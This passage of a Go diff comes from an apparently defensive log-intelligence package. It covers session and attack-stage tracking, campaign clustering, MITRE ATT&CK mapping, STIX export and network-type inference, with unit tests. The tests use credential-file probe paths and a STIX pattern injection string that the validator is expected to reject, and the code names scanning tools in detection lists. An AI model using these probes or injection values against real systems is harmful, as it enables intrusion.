t.Errorf("steps %v (events sorted: recon at t=2 first)", stages)
}
// ssh-ok with no failures is not access
only := []Ev{evAt(0, "8.8.8.8", "ssh-ok", "", "", 0)}
if s := Sessions(only, 0)[0]; s.Stage != "" || s.Success {
t.Errorf("lone ssh-ok %+v", s)
}
// failures in an earlier session still count
late := append(events[:6:6], evAt(7200, "9.9.9.9", "ssh-ok", "", "", 0))
ss2 := Sessions(late, time.Minute)
if last := ss2[len(ss2)-1]; last.Stage != StageAccess {
t.Errorf("late %+v", last)
}
if st := Escalation(ss2[len(ss2)-1], late); len(st) != 1 || st[0].Stage != StageAccess {
t.Errorf("late steps %+v", st)
}
}
func TestAccessAndUnban(t *testing.T) {
ev := []Ev{
evAt(0, "3.3.3.3", "scanner", FamEnvCreds, "/.env", 200),
evAt(1, "4.4.4.4", "scanner", FamEnvCreds, "/.env", 403),
evAt(2, "5.5.5.5", "scanner", FamAdminPanel, "/admin", 200),
{T: at(3), IP: "6.6.6.6", Cat: "ban", Unban: true},
}
for _, s := range Sessions(ev, 0) {
switch s.IP {
case "3.3.3.3", "5.5.5.5":
if s.Stage != StageAccess || !s.Success {
t.Errorf("%s %+v", s.IP, s)
}
case "4.4.4.4":
if s.Stage != StageProbe {
t.Errorf("%+v", s)
}
case "6.6.6.6":
if s.Stage != "" || s.BannedAt != nil {
t.Errorf("unban %+v", s)
}
}
}
if Sessions(nil, 0) != nil {
t.Error("nil")
}
}
func TestNormPathAndSignature(t *testing.T) {
cases := map[string]string{
"/post/123": "/post/{n}",
"/a/550e8400-e29b-41d4-a716-446655440000/b": "/a/{id}/b",
"/x/deadbeefcafe1234": "/x/{id}",
"/Item.PHP?id=5": "/item.php",
"/v2/users/42/posts/7": "/v{n}/users/{n}/posts/{n}",
}
for in, want := range cases {
if got := NormPath(in); got != want {
t.Errorf("NormPath(%q)=%q want %q", in, got, want)
}
}
paths := []string{"/a/1", "/a/2", "/b", "/b", "/c", "/d", "/e", "/f", "/g"}
sg := SignatureFrom(paths, " Nuclei ")
if len(sg.Paths) != 5 || sg.Tool != "nuclei" || sg.Paths[0] != "/a/{n}" {
t.Errorf("%+v", sg)
}
if !strings.HasPrefix(sg.ID(), "c-") || len(sg.ID()) != 10 {
t.Error(sg.ID())
}
if sg.ID() != SignatureFrom(paths, "nuclei").ID() {
t.Error("ID not deterministic")
}
NormPath(strings.Repeat("9", 1<<20))
}
func TestJaccard(t *testing.T) {
if Jaccard([]string{"a", "b", "c"}, []string{"a", "b", "d"}) != 0.5 {
t.Error("0.5")
}
if Jaccard(nil, nil) != 0 || Jaccard([]string{"a"}, []string{"a"}) != 1 {
t.Error("edge")
}
}
func mkSessions(ips []string, paths map[string][]string, tool string, base int) ([]Session, map[string]Signature) {
var ss []Session
sigs := map[string]Signature{}
for i, ip := range ips {
s := Session{ID: "s" + ip, IP: ip, Start: at(base + i*600), End: at(base + i*600 + 30), Techs: []string{"T1190"}}
ss = append(ss, s)
sg := SignatureFrom(paths[ip], tool)
sg.ASN, sg.CC, sg.NetType = uint32(100+i), "BR", "hosting"
sigs[s.ID] = sg
}
return ss, sigs
}
func TestCampaigns(t *testing.T) {
common := []string{"/.env", "/wp-login.php", "/.git/config", "/admin", "/phpmyadmin/"}
ips := []string{"1.0.0.1", "1.0.0.2", "1.0.0.3", "1.0.0.4"}
paths := map[string][]string{}
for _, ip := range ips {
paths[ip] = common
}
// 4th IP shares 4/6 paths (jaccard 0.667) after replacing one and adding one
paths["1.0.0.4"] = []string{"/.env", "/wp-login.php", "/.git/config", "/admin", "/other"}
ss, sigs := mkSessions(ips, paths, "nuclei", 0)
// unrelated session, different tool
other := Session{ID: "sx", IP: "7.7.7.7", Start: at(10), End: at(20)}
ss = append(ss, other)
sigs["sx"] = SignatureFrom(common, "ffuf")
cs := Campaigns(ss, sigs, 0)
if len(cs) != 1 {
t.Fatalf("%d campaigns: %+v", len(cs), cs)
}
c := cs[0]
if c.IPsN != 4 || c.SessionsN != 4 || len(c.IPs) != 4 || len(c.ASNs) != 4 || c.NetTypes["hosting"] != 4 || !reflect.DeepEqual(c.CCs, []string{"BR"}) {
t.Errorf("%+v", c)
}
if c.Signature.Tool != "nuclei" || !strings.HasPrefix(c.ID, "c-") || !reflect.DeepEqual(c.Techs, []string{"T1190"}) {
t.Errorf("%+v", c)
}
if ss[0].CampaignID != c.ID || ss[4].CampaignID != "" {
t.Error("campaign ids on sessions")
}
// deterministic
cs2 := Campaigns(ss, sigs, 0)
if cs2[0].ID != c.ID {
t.Error("nondeterministic")
}
// only 2 IPs: no campaign
ss3, sigs3 := mkSessions(ips[:2], paths, "nuclei", 0)
if len(Campaigns(ss3, sigs3, 0)) != 0 {
t.Error("2 ips")
}
// outside the window
ss4, sigs4 := mkSessions(ips[:3], paths, "nuclei", 0)
ss4[2].Start = at(7 * 3600 * 10)
ss4[2].End = ss4[2].Start
if len(Campaigns(ss4, sigs4, 0)) != 0 {
t.Error("window")
}
// low jaccard
ss5, sigs5 := mkSessions(ips[:3], paths, "nuclei", 0)
sigs5[ss5[2].ID] = SignatureFrom([]string{"/x1", "/x2", "/x3", "/x4", "/.env"}, "nuclei")
if len(Campaigns(ss5, sigs5, 0)) != 0 {
t.Error("jaccard")
}
// IPs cap
var many []string
mp := map[string][]string{}
for i := 0; i < 80; i++ {
ip := fmt.Sprintf("10.0.0.%d", i)
many = append(many, ip)
mp[ip] = common
}
ss6, sigs6 := mkSessions(many, mp, "x", 0)
for i := range ss6 {
ss6[i].Start = at(i)
ss6[i].End = at(i)
}
cs6 := Campaigns(ss6, sigs6, 0)
if len(cs6) != 1 || cs6[0].IPsN != 80 || len(cs6[0].IPs) != 50 {
t.Errorf("cap %+v", cs6)
}
}
func TestReasonsAndActions(t *testing.T) {
rs := Reasons(ReasonInput{
ExploitsRefused: map[string]int{FamTraversal: 3, FamSQLi: 2},
ToolUA: "nuclei", BannedJails: []string{"urutau-web"}, Categories: 3,
})
codes := []string{}
for _, r := range rs {
codes = append(codes, r.Code)
if r.Text != "intel.reason."+r.Code {
t.Errorf("text %q", r.Text)
}
}
if !reflect.DeepEqual(codes, []string{ReasonExploitsRefused, ReasonBannedJail, ReasonToolUA, ReasonMultiCategory}) {
t.Errorf("%v", codes)
}
if rs[0].N != 5 || rs[0].Params["families"] != "sqli, traversal" {
t.Errorf("%+v", rs[0])
}
acts := Actions(ActionInput{Reasons: rs, Stage: StageExploit})
got := map[string]bool{}
for _, a := range acts {
got[a.Code] = true
}
if !got[ActionBlock] || !got[ActionReport] || got[ActionIncident] {
t.Errorf("%+v", acts)
}
// exposure -> incident + investigate
rs2 := Reasons(ReasonInput{Exposure: map[string]int{FamEnvCreds: 1}})
acts2 := Actions(ActionInput{Reasons: rs2, Banned: true, Stage: StageAccess})
if len(acts2) < 2 || acts2[0].Code != ActionIncident || acts2[1].Code != ActionInvestigate {
t.Errorf("%+v", acts2)
}
for _, a := range acts2 {
if a.Code == ActionBlock {
t.Error("already banned")
}
}
rs3 := Reasons(ReasonInput{SSHOKAfterBrute: true})
if rs3[0].Code != ReasonSSHAfterBrute || Actions(ActionInput{Reasons: rs3})[0].Code != ActionIncident {
t.Errorf("%+v", rs3)
}
// immune/admin: none
rs4 := Reasons(ReasonInput{ExploitsRefused: map[string]int{FamSQLi: 9}, Immune: true})
if Actions(ActionInput{Reasons: rs4}) != nil || Actions(ActionInput{Reasons: rs, Admin: true}) != nil {
t.Error("immune")
}
if rs4[len(rs4)-1].Code != ReasonImmune {
t.Error("immune last")
}
if len(Reasons(ReasonInput{})) != 0 || len(Actions(ActionInput{})) != 0 {
t.Error("empty")
}
}
func TestSTIX(t *testing.T) {
now := time.Date(2026, 11, 14, 0, 0, 0, 0, time.UTC)
first, last := at(0), at(3600)
b1, err := STIXBundle("203.0.113.9", first, last, 42, []string{"sqli", "traversal", "sqli"}, []string{"T1190", "T1083", "bogus"}, "", now)
if err != nil {
t.Fatal(err)
}
b2, _ := STIXBundle("203.0.113.9", first, last, 42, []string{"traversal", "sqli"}, []string{"T1083", "T1190"}, "", now)
if string(b1) != string(b2) {
t.Error("bundle must be deterministic")
}
if err := ValidateSTIX(b1); err != nil {
t.Fatal(err)
}
var doc struct {
Type string
ID string
Objects []map[string]any
}
if err := json.Unmarshal(b1, &doc); err != nil {
t.Fatal(err)
}
counts := map[string]int{}
var ind map[string]any
for _, o := range doc.Objects {
counts[o["type"].(string)]++
if o["type"] == "indicator" {
ind = o
}
}
want := map[string]int{"identity": 1, "indicator": 1, "ipv4-addr": 1, "sighting": 1, "attack-pattern": 2, "relationship": 3}
if !reflect.DeepEqual(counts, want) {
t.Errorf("counts %v", counts)
}
if ind["pattern"] != "[ipv4-addr:value = '203.0.113.9']" || ind["pattern_type"] != "stix" ||
ind["valid_until"] != "2026-12-01T13:00:00.000Z" || ind["valid_from"] != "2026-11-01T12:00:00.000Z" {
t.Errorf("%v", ind)
}
if !reflect.DeepEqual(ind["labels"], []any{"sqli", "traversal"}) {
t.Errorf("labels %v", ind["labels"])
}
// fixed ids across runs (golden for the indicator)
b3, _ := STIXBundle("203.0.113.9", first, last, 1, nil, nil, "", now.Add(time.Hour))
var d3 struct{ Objects []map[string]any }
json.Unmarshal(b3, &d3)
if d3.Objects[1]["id"] != ind["id"] {
t.Error("id depends on time")
}
// ipv6
b6, err := STIXBundle("2001:db8::1", first, last, 1, nil, []string{"T1595"}, "", now)
if err != nil || !strings.Contains(string(b6), "[ipv6-addr:value = '2001:db8::1']") || ValidateSTIX(b6) != nil {
t.Errorf("v6: %v", err)
}
b4in6, _ := STIXBundle("::ffff:1.2.3.4", first, last, 1, nil, nil, "", now)
if !strings.Contains(string(b4in6), "ipv4-addr:value = '1.2.3.4'") {
t.Error("4in6")
}
for _, bad := range []string{"", "not-an-ip", "1.2.3.4'] OR [x"} {
if _, err := STIXBundle(bad, first, last, 1, nil, nil, "", now); err == nil {
t.Errorf("accepted %q", bad)
}
}
// validator catches missing fields
if ValidateSTIX([]byte(`{"type":"bundle","id":"bundle--5a1f7c3e-9d42-4b6a-8e01-c4f72b90d36e","objects":[{"type":"identity","id":"identity--5a1f7c3e-9d42-4b6a-8e01-c4f72b90d36e","spec_version":"2.1"}]}`)) == nil {
t.Error("validator should reject missing created")
}
if ValidateSTIX([]byte(`{`)) == nil {
t.Error("garbage")
}
// swapped times, custom sighting ref
bs, err := STIXBundle("1.1.1.1", last, first, 0, nil, nil, "indicator--5a1f7c3e-9d42-4b6a-8e01-c4f72b90d36e", now)
if err != nil || ValidateSTIX(bs) != nil || !strings.Contains(string(bs), `"count": 1`) {
t.Errorf("%v", err)
}
// uuid v5 shape and known vector: version/variant nibbles
u := uuidV5("x")
if u[14] != '5' || !strings.ContainsRune("89ab", rune(u[19])) || len(u) != 36 {
t.Errorf("uuid %s", u)
}
}
func TestMetrics(t *testing.T) {
if Trend(150, 100) != 0.5 || Trend(0, 0) != 0 || Trend(5, 0) != 1 || Trend(50, 100) != -0.5 {
t.Error("trend")
}
// Spikes: 8 days of flat 5/h with small jitter, then a 60 spike and a 9 (below min)
var h []int
var ts []time.Time
for i := 0; i < 24*8; i++ {
h = append(h, 4+i%3)
ts = append(ts, t0.Add(time.Duration(i)*time.Hour))
}
h[150] = 60
h[160] = 9
h[100] = 12
sp := Spikes(h, ts)
if len(sp) < 2 || sp[len(sp)-1].Value != 60 {
t.Fatalf("%+v", sp)
}
for _, s := range sp {
if s.Value < SpikeMin || float64(s.Value) <= s.Threshold {
t.Errorf("bad spike %+v", s)
}
}
if len(Spikes(h[:10], ts[:10])) != 0 || len(Spikes(h, ts[:5])) != 0 || Spikes(nil, nil) != nil {
t.Error("insufficient")
}
med, p90 := MTTB([][2]time.Time{
{at(0), at(10)}, {at(0), at(20)}, {at(0), at(30)}, {at(0), at(40)}, {at(100), at(0)},
})
if med != 25*time.Second || p90 != 40*time.Second {
t.Errorf("%v %v", med, p90)
}
if m, p := MTTB(nil); m != 0 || p != 0 {
t.Error("mttb nil")
}
c := Concentration(map[string]int{"a": 50, "b": 30, "c": 15, "d": 5}, 2)
if c != 0.8 || Concentration(nil, 3) != 0 || Concentration(map[string]int{"a": 1}, 0) != 0 || Concentration(map[string]int{"a": 1}, 9) != 1 {
t.Errorf("conc %v", c)
}
}
func TestCampaignIDUniquePerWindow(t *testing.T) {
paths := map[string][]string{}
var ips []string
for _, ip := range []string{"1.0.0.1", "1.0.0.2", "1.0.0.3", "2.0.0.1", "2.0.0.2", "2.0.0.3"} {
ips = append(ips, ip)
paths[ip] = []string{"/.env", "/admin", "/wp-login.php"}
}
ss, sigs := mkSessions(ips, paths, "nuclei", 0)
for i := 3; i < 6; i++ { // second wave two days later
ss[i].Start = at(48*3600 + i*60)
ss[i].End = ss[i].Start
}
cs := Campaigns(ss, sigs, 6*time.Hour)
if len(cs) != 2 {
t.Fatalf("%d campaigns", len(cs))
}
if cs[0].ID == cs[1].ID {
t.Fatalf("duplicate id %s", cs[0].ID)
}
if cs[0].SignatureID != cs[1].SignatureID || cs[0].SignatureID != cs[0].Signature.SignatureID() {
t.Error("signature id must be shared")
}
again := Campaigns(ss, sigs, 6*time.Hour)
if again[0].ID != cs[0].ID || again[1].ID != cs[1].ID {
t.Error("nondeterministic")
}
}
+136
View File
@@ -0,0 +1,136 @@
package intel
import (
"math"
"sort"
"time"
)
// Trend is the relative change from prev to cur ((cur-prev)/prev). With no
// previous activity it is 0 if cur is 0 and 1 (+100%) otherwise.
func Trend(cur, prev float64) float64 {
if prev == 0 {
if cur == 0 {
return 0
}
return 1
}
return (cur - prev) / prev
}
// Spike is an hour whose volume stands out from the previous 7 days.
type Spike struct {
At time.Time `json:"at"`
Value int `json:"value"`
Baseline float64 `json:"baseline"` // median of the previous 7 days
Threshold float64 `json:"threshold"` // median + 3*MAD
}
// Spike parameters.
const (
SpikeMin = 10
spikeWindow = 7 * 24 * time.Hour
spikeMinPrior = 24
maxSpikeInput = 24 * 90
)
func median(v []float64) float64 {
if len(v) == 0 {
return 0
}
s := append([]float64(nil), v...)
sort.Float64s(s)
m := len(s) / 2
if len(s)%2 == 1 {
return s[m]
}
return (s[m-1] + s[m]) / 2
}
// Spikes flags hours (hourly[i] at at[i], in chronological order) whose count
// exceeds median + 3*MAD of the preceding 7 days and is at least 10. An hour
// needs at least 24 samples in its window to be judged. Input is capped at
// 90 days.
func Spikes(hourly []int, at []time.Time) []Spike {
n := len(hourly)
if len(at) < n {
n = len(at)
}
if n > maxSpikeInput {
hourly, at, n = hourly[n-maxSpikeInput:n], at[n-maxSpikeInput:n], maxSpikeInput
}
var out []Spike
lo := 0
for i := 0; i < n; i++ {
for lo < i && at[i].Sub(at[lo]) > spikeWindow {
lo++
}
if i-lo < spikeMinPrior || hourly[i] < SpikeMin {
continue
}
w := make([]float64, 0, i-lo)
for j := lo; j < i; j++ {
w = append(w, float64(hourly[j]))
}
med := median(w)
dev := make([]float64, len(w))
for k, x := range w {
dev[k] = math.Abs(x - med)
}
thr := med + 3*median(dev)
if float64(hourly[i]) > thr {
out = append(out, Spike{At: at[i], Value: hourly[i], Baseline: med, Threshold: thr})
}
}
return out
}
// MTTB returns the median and 90th percentile (nearest rank) of the time from
// first sighting to ban, given [first, banned] pairs. Negative spans are
// ignored.
func MTTB(pairs [][2]time.Time) (med, p90 time.Duration) {
d := make([]float64, 0, len(pairs))
for _, p := range pairs {
if x := p[1].Sub(p[0]); x >= 0 {
d = append(d, float64(x))
}
}
if len(d) == 0 {
return 0, 0
}
sort.Float64s(d)
med = time.Duration(median(d))
idx := int(math.Ceil(0.9*float64(len(d)))) - 1
if idx < 0 {
idx = 0
}
return med, time.Duration(d[idx])
}
// Concentration is the share (0..1) of the total held by the top largest
// entries of counts.
func Concentration(counts map[string]int, top int) float64 {
if top <= 0 {
return 0
}
v := make([]int, 0, len(counts))
total := 0
for _, c := range counts {
if c > 0 {
v = append(v, c)
total += c
}
}
if total == 0 {
return 0
}
sort.Sort(sort.Reverse(sort.IntSlice(v)))
if top > len(v) {
top = len(v)
}
s := 0
for _, c := range v[:top] {
s += c
}
return float64(s) / float64(total)
}
+138
View File
@@ -0,0 +1,138 @@
package intel
import (
"sort"
"strings"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
)
// TechCtx carries the extra context Techniques needs.
type TechCtx struct {
Tool string // attack-tool label or User-Agent (any case)
Path string // request path (distinguishes wordpress sub-techniques)
Users int // distinct SSH usernames tried by the source
MaxPerUser int // most attempts against a single username
PriorFails bool // ssh-ok preceded by failures from the same IP
}
var techNames = map[string]string{
"T1190": "Exploit Public-Facing Application",
"T1083": "File and Directory Discovery",
"T1059": "Command and Scripting Interpreter",
"T1059.004": "Unix Shell",
"T1505": "Server Software Component",
"T1505.003": "Web Shell",
"T1552": "Unsecured Credentials",
"T1552.001": "Credentials In Files",
"T1213": "Data from Information Repositories",
"T1595": "Active Scanning",
"T1595.001": "Scan IP Blocks",
"T1595.002": "Vulnerability Scanning",
"T1595.003": "Wordlist Scanning",
"T1110": "Brute Force",
"T1110.001": "Password Guessing",
"T1110.003": "Password Spraying",
"T1087": "Account Discovery",
"T1082": "System Information Discovery",
"T1046": "Network Service Discovery",
"T1078": "Valid Accounts",
}
// TechniqueName returns the official MITRE ATT&CK name of a technique id
// ("" when unknown).
func TechniqueName(id string) string { return techNames[id] }
var (
vulnTools = []string{"nuclei", "nikto", "acunetix", "wpscan", "nessus", "openvas", "sqlmap", "burp", "zap", "w3af", "wapiti", "xray", "jaeles"}
wordTools = []string{"dirbuster", "ffuf", "gobuster", "dirsearch", "feroxbuster", "wfuzz", "dirb"}
ipTools = []string{"masscan", "zgrab", "zmap", "nmap", "shodan", "censys"}
)
func hasTool(tool string, list []string) bool {
for _, t := range list {
if strings.Contains(tool, t) {
return true
}
}
return false
}
func famTechs(fam string, ctx TechCtx) []string {
switch fam {
case FamTraversal:
return []string{"T1190", "T1083"}
case FamLog4Shell, FamSQLi, FamXSS, FamIoTCGI:
return []string{"T1190"}
case FamRCE:
return []string{"T1190", "T1059.004"}
case FamWebshell:
return []string{"T1505.003"}
case FamEnvCreds:
return []string{"T1552.001"}
case FamVCS:
return []string{"T1213", "T1552.001"}
case FamBackup, FamPhpMyAdmin, FamAdminPanel, FamGeneric404:
return []string{"T1595.003"}
case FamWordPress:
p := strings.ToLower(ctx.Path)
switch {
case strings.Contains(p, "wp/v2/users"):
return []string{"T1087"}
case strings.Contains(p, "wp-login.php") || strings.Contains(p, "xmlrpc.php"):
return []string{"T1110.001"}
case strings.Contains(p, "/wp-content/plugins/"):
return []string{"T1595.002"}
}
return []string{"T1595.002"}
case FamActuator:
return []string{"T1595.002", "T1082"}
}
return nil
}
// Techniques maps an event category and family to MITRE ATT&CK technique ids
// (sorted, deduplicated).
func Techniques(cat, fam string, ctx TechCtx) []string {
set := map[string]bool{}
for _, t := range famTechs(fam, ctx) {
set[t] = true
}
tool := strings.ToLower(ctx.Tool)
switch core.Category(cat) {
case core.Scanner:
switch {
case hasTool(tool, vulnTools):
set["T1595.002"] = true
case hasTool(tool, wordTools):
set["T1595.003"] = true
case hasTool(tool, ipTools):
set["T1595.001"] = true
default:
set["T1595"] = true
}
case core.Exploit:
set["T1190"] = true
case core.BruteForce:
set["T1110.001"] = true
case core.SSHFail:
if ctx.Users >= 5 && ctx.MaxPerUser <= 3 {
set["T1110.003"] = true
} else {
set["T1110.001"] = true
}
case core.SSHProbe:
set["T1595.001"] = true
set["T1046"] = true
case core.SSHOK:
if ctx.PriorFails {
set["T1078"] = true
}
}
out := make([]string, 0, len(set))
for t := range set {
out = append(out, t)
}
sort.Strings(out)
return out
}
+120
View File
@@ -0,0 +1,120 @@
package intel
import (
"fmt"
"net/netip"
"regexp"
"strings"
"sync"
)
var (
torMu sync.RWMutex
torExits map[netip.Addr]struct{}
)
// SetTorExits loads (or clears, with nil/empty) the Tor exit list. It is off
// by default; the caller decides where the list comes from.
func SetTorExits(addrs []netip.Addr) {
m := make(map[netip.Addr]struct{}, len(addrs))
for _, a := range addrs {
m[a.Unmap()] = struct{}{}
}
torMu.Lock()
torExits = m
torMu.Unlock()
}
// IsTorExit reports whether ip is in the loaded Tor exit list.
func IsTorExit(ip netip.Addr) bool {
torMu.RLock()
defer torMu.RUnlock()
if len(torExits) == 0 {
return false
}
_, ok := torExits[ip.Unmap()]
return ok
}
func asnSet(v ...uint32) map[uint32]bool {
m := make(map[uint32]bool, len(v))
for _, x := range v {
m[x] = true
}
return m
}
var (
vpnASNs = asnSet(9009, 212238, 60068, 136787, 39351)
hostingASNs = asnSet(14061, 16509, 14618, 15169, 396982, 8075, 31898, 45102, 132203, 16276, 24940, 63949, 20473, 51167, 9009, 60781, 28753, 12876, 47583, 8560, 36352, 53667, 211252, 49870, 204428, 213371)
researchASNs = asnSet(398324, 398705, 398722, 211298, 10439, 202425, 63999, 135377, 396507)
cnASNs = asnSet(4134, 4837)
mobileASNs = asnSet(26615)
ispMobASNs = asnSet(28573, 26599, 18881)
brISPASNs = asnSet(7738, 8167, 16735, 53006, 28126, 7162, 27699, 14868, 4230, 263880)
vpnRDNS = regexp.MustCompile(`vpn|proxy|exit|relay`)
hostOrgRe = regexp.MustCompile(`(?i)hosting|cloud|server|datacenter|data center|vps|colo|digitalocean|ovh|hetzner|linode|akamai|amazon|google|microsoft|oracle|alibaba|tencent|contabo|vultr|leaseweb|choopa|m247|scaleway|hostinger|ionos|kamatera|cloudflare|\bhost\b|locaweb|hospedagem`)
hostRDNS = regexp.MustCompile(`(?i)compute|ec2|vps|server|static|cloud|host\d`)
mobileRe = regexp.MustCompile(`(?i)mobile|wireless|lte|4g|5g|gprs|cellular`)
resRDNS = regexp.MustCompile(`(?i)dsl|dynamic|dyn|pool|dhcp|cable|fibra|ftth|cpe|customer|user|\d+-\d+-\d+-\d+`)
ispBrRe = regexp.MustCompile(`(?i)provedor|fibra|telecomunicac|comunicac|internet|tecnologia em internet|\bnet\b`)
resOrgRe = regexp.MustCompile(`(?i)telecom|telecomunica|net |broadband|internet`)
maxFieldLen = 256
)
func clip(s string) string {
if len(s) > maxFieldLen {
return s[:maxFieldLen]
}
return s
}
// NetTypeIP is NetType preceded by the optional Tor exit list check.
func NetTypeIP(ip netip.Addr, asn uint32, asOrg, rdns string) (typ, reason string) {
if ip.IsValid() && IsTorExit(ip) {
return "tor", "tor-exit-list"
}
return NetType(asn, asOrg, rdns)
}
// NetType infers the kind of network behind an address from its ASN, AS
// organisation and reverse DNS. Types: vpn, research-scanner, isp-cn,
// hosting, mobile, isp/mobile, residential, unknown. reason says which rule
// fired. Tor detection needs the address: see NetTypeIP.
func NetType(asn uint32, asOrg, rdns string) (typ, reason string) {
asOrg, rdns = clip(asOrg), strings.ToLower(clip(rdns))
switch {
case vpnASNs[asn]:
return "vpn", fmt.Sprintf("asn:%d", asn)
case rdns != "" && vpnRDNS.MatchString(rdns):
return "vpn", "rdns:" + vpnRDNS.FindString(rdns)
case researchASNs[asn]:
return "research-scanner", fmt.Sprintf("asn:%d", asn)
case cnASNs[asn]:
return "isp-cn", fmt.Sprintf("asn:%d", asn)
case hostingASNs[asn]:
return "hosting", fmt.Sprintf("asn:%d", asn)
case mobileASNs[asn]:
return "mobile", fmt.Sprintf("asn:%d", asn)
case ispMobASNs[asn]:
return "isp/mobile", fmt.Sprintf("asn:%d", asn)
case brISPASNs[asn]:
return "residential", fmt.Sprintf("asn:%d", asn)
case asOrg != "" && hostOrgRe.MatchString(asOrg):
return "hosting", "asorg:" + strings.ToLower(hostOrgRe.FindString(asOrg))
case rdns != "" && hostRDNS.MatchString(rdns):
return "hosting", "rdns:" + strings.ToLower(hostRDNS.FindString(rdns))
case mobileRe.MatchString(asOrg) && asOrg != "":
return "mobile", "asorg:" + strings.ToLower(mobileRe.FindString(asOrg))
case rdns != "" && mobileRe.MatchString(rdns):
return "mobile", "rdns:" + mobileRe.FindString(rdns)
case rdns != "" && resRDNS.MatchString(rdns):
return "residential", "rdns:" + resRDNS.FindString(rdns)
case asOrg != "" && ispBrRe.MatchString(asOrg):
return "residential", "asorg:isp-br"
case asOrg != "" && resOrgRe.MatchString(asOrg):
return "residential", "asorg:" + strings.ToLower(resOrgRe.FindString(asOrg))
}
return "unknown", ""
}
+286
View File
@@ -0,0 +1,286 @@
package intel
import (
"crypto/sha256"
"encoding/hex"
"sort"
"strconv"
"time"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
)
// Ev is one event (HTTP or SSH) fed to Sessions.
type Ev struct {
T time.Time
IP string
Host string
Domain string
Cat string
Fam string
Path string
User string
Jail string
Status int
Strong bool
Unban bool
}
// Session is a burst of activity of one IP separated from the next by a gap.
type Session struct {
ID string `json:"id"`
IP string `json:"ip"`
Start time.Time `json:"start"`
End time.Time `json:"end"`
DurS int64 `json:"dur_s"`
N int `json:"n"`
Cats map[string]int `json:"cats"`
Fams map[string]int `json:"fams"`
Techs []string `json:"techs"`
Hosts []string `json:"hosts"`
Domains []string `json:"domains"`
UsersN int `json:"users_n"`
PeakRPM int `json:"peak_rpm"`
Stage string `json:"stage"`
Success bool `json:"success"`
BannedAt *time.Time `json:"banned_at,omitempty"`
CampaignID string `json:"campaign_id,omitempty"`
}
// Step is one link of an escalation chain.
type Step struct {
Stage string `json:"stage"`
T time.Time `json:"t"`
Evidence string `json:"evidence"`
}
// Stages, in increasing severity.
const (
StageRecon = "recon"
StageProbe = "probe"
StageExploit = "exploit"
StageAccess = "access"
StageBanned = "banned"
)
// DefaultGap is the session gap used when Sessions gets a non-positive one.
const DefaultGap = 30 * time.Minute
const (
maxSessionEvents = 1_000_000
maxListed = 50
)
// StageRank orders stages (0 for none/unknown).
func StageRank(s string) int {
switch s {
case StageRecon:
return 1
case StageProbe:
return 2
case StageExploit:
return 3
case StageAccess:
return 4
case StageBanned:
return 5
}
return 0
}
var accessFams = map[string]bool{
FamEnvCreds: true, FamVCS: true, FamBackup: true, FamActuator: true,
FamPhpMyAdmin: true, FamAdminPanel: true,
}
func is2xx(s int) bool { return s >= 200 && s < 300 }
// stageOf gives the stage one event reaches. priorFail says the same IP had
// ssh-fail events before it.
func stageOf(e Ev, priorFail bool) (string, string) {
if e.Unban {
return "", ""
}
if is2xx(e.Status) && accessFams[e.Fam] && core.Category(e.Cat).IsHTTP() {
return StageAccess, e.Fam + " " + strconv.Itoa(e.Status) + " " + e.Path
}
switch core.Category(e.Cat) {
case core.NotFound:
return StageRecon, "notfound " + e.Path
case core.SSHProbe:
return StageRecon, "ssh-probe"
case core.Scanner:
return StageProbe, "scanner " + e.Path
case core.BruteForce:
return StageProbe, "bruteforce " + e.Path
case core.SSHFail:
return StageProbe, "ssh-fail " + e.User
case core.Exploit:
return StageExploit, "exploit " + e.Path
case core.SSHOK:
if priorFail {
return StageAccess, "ssh-ok after failures " + e.User
}
case core.Ban:
return StageBanned, "ban " + e.Jail
}
return "", ""
}
func shortHash(s string) string {
h := sha256.Sum256([]byte(s))
return hex.EncodeToString(h[:4])
}
func sortedKeys(m map[string]bool, limit int) []string {
out := make([]string, 0, len(m))
for k := range m {
out = append(out, k)
}
sort.Strings(out)
if limit > 0 && len(out) > limit {
out = out[:limit]
}
return out
}
// Sessions groups events by IP and splits each IP's timeline wherever two
// consecutive events are more than gap apart (default 30 min). Output is
// ordered by start time, then IP. At most 1,000,000 events are considered.
func Sessions(events []Ev, gap time.Duration) []Session {
if gap <= 0 {
gap = DefaultGap
}
if len(events) > maxSessionEvents {
events = events[:maxSessionEvents]
}
byIP := map[string][]Ev{}
for _, e := range events {
byIP[e.IP] = append(byIP[e.IP], e)
}
var out []Session
for ip, evs := range byIP {
sort.SliceStable(evs, func(i, j int) bool { return evs[i].T.Before(evs[j].T) })
priorFail := false
start := 0
for i := 1; i <= len(evs); i++ {
if i < len(evs) && evs[i].T.Sub(evs[i-1].T) <= gap {
continue
}
s, pf := buildSession(ip, evs[start:i], priorFail)
priorFail = pf
out = append(out, s)
start = i
}
}
sort.Slice(out, func(i, j int) bool {
if !out[i].Start.Equal(out[j].Start) {
return out[i].Start.Before(out[j].Start)
}
return out[i].IP < out[j].IP
})
return out
}
func buildSession(ip string, evs []Ev, priorFail bool) (Session, bool) {
s := Session{
IP: ip, Start: evs[0].T, End: evs[len(evs)-1].T, N: len(evs),
Cats: map[string]int{}, Fams: map[string]int{},
}
s.ID = "s-" + shortHash(ip+"|"+strconv.FormatInt(s.Start.UnixNano(), 10))
s.DurS = int64(s.End.Sub(s.Start).Seconds())
hosts, doms, techs := map[string]bool{}, map[string]bool{}, map[string]bool{}
users := map[string]int{}
best := 0
failsBefore := priorFail
times := make([]time.Time, 0, len(evs))
for _, e := range evs {
s.Cats[e.Cat]++
if e.Fam != "" {
s.Fams[e.Fam]++
}
if e.Host != "" {
hosts[e.Host] = true
}
if e.Domain != "" {
doms[e.Domain] = true
}
if e.User != "" && (e.Cat == string(core.SSHFail) || e.Cat == string(core.SSHOK)) {
users[e.User]++
}
if st, _ := stageOf(e, failsBefore); StageRank(st) > best {
best = StageRank(st)
s.Stage = st
}
if st, _ := stageOf(e, failsBefore); st == StageAccess {
s.Success = true
}
if e.Cat == string(core.Ban) && !e.Unban && s.BannedAt == nil {
t := e.T
s.BannedAt = &t
}
if e.Cat == string(core.SSHFail) {
failsBefore = true
}
times = append(times, e.T)
}
maxPer := 0
for _, c := range users {
if c > maxPer {
maxPer = c
}
}
s.UsersN = len(users)
fails := priorFail
for _, e := range evs {
ctx := TechCtx{Path: e.Path, Users: len(users), MaxPerUser: maxPer, PriorFails: fails}
for _, t := range Techniques(e.Cat, e.Fam, ctx) {
techs[t] = true
}
if e.Cat == string(core.SSHFail) {
fails = true
}
}
s.Techs = sortedKeys(techs, 0)
